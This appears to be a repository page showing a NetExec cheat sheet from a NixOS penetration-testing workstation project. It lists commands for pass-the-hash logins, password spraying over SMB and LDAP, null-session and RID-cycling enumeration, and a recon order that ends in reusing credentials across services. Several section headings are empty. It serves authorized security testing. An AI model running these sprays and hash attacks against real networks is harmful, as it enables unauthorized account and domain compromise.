repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
nxc.mdMarkdown62 lines4.9 KiBsource raw download

nxc — sweep a subnet, own the domain#

NetExec (the CrackMapExec successor) over SMB/LDAP/WinRM/MSSQL. nxc is the alias for netexec (cme too, for muscle memory); the nxc-* wrappers default their target to $TARGET. Enumerate first, then loot — see cheat impacket for psexec/secretsdump, cheat kerberos for AS-REP/kerberoast.

Sweep (your wrappers — target defaults to $TARGET)#

Authenticate#

nxc smb $TARGET -u user -p 'Pass123'          password
nxc smb $TARGET -u user -H <NTLM>             pass-the-hash (LM:NT or just NT)
nxc smb $TARGET -u user -p '' --local-auth    local SAM account, not domain
nxc smb $TARGET -u users.txt -p pass.txt      files = spray (see below)
nxc smb $TARGET -u user -p pass -d DOMAIN     set the domain
nxc smb $TARGET -k --use-kcache               Kerberos from $KRB5CCNAME

Enumerate (SMB)#

Modules & loot#

Spray (careful — watch --pass-pol first)#

nxc smb $TARGET -u $USERNAMES -p 'Winter2026!' --continue-on-success   one pass, many users
nxc smb $TARGET -u valid.txt -p valid.txt --no-bruteforce             pair line-by-line, no NxM
nxc ldap $DC -u users.txt -p pass.txt --continue-on-success           LDAP works when SMB is filtered

Other protocols#

Raw tools when nxc is thin#

Tool Use it for
nxc / netexec the sweeper — everything above
smbmap -H $TARGET (smb-shares) share perms + recursive listing, cleaner than --shares
enum4linux-ng $TARGET (e4l) one-shot dump: users, groups, shares, policy, RID cycling
smbclient -N -L //$TARGET null-session share list · smbclient //$TARGET/share -U user to browse
rpcclient -U '' -N $TARGET enumdomusers, querydominfo, lsaenumsid by hand
rdp [host] [user] [pass] xfreerdp with clipboard + dynamic-res, falls back to open rdp://

Recon order: nxc-smb $TARGET (signing? SMBv1?) → --pass-pol → --users/--rid-brute → spray → --shares/spider. Save valid pairs to files and re-feed them across smb/ldap/winrm/mssql — one credential often unlocks four services.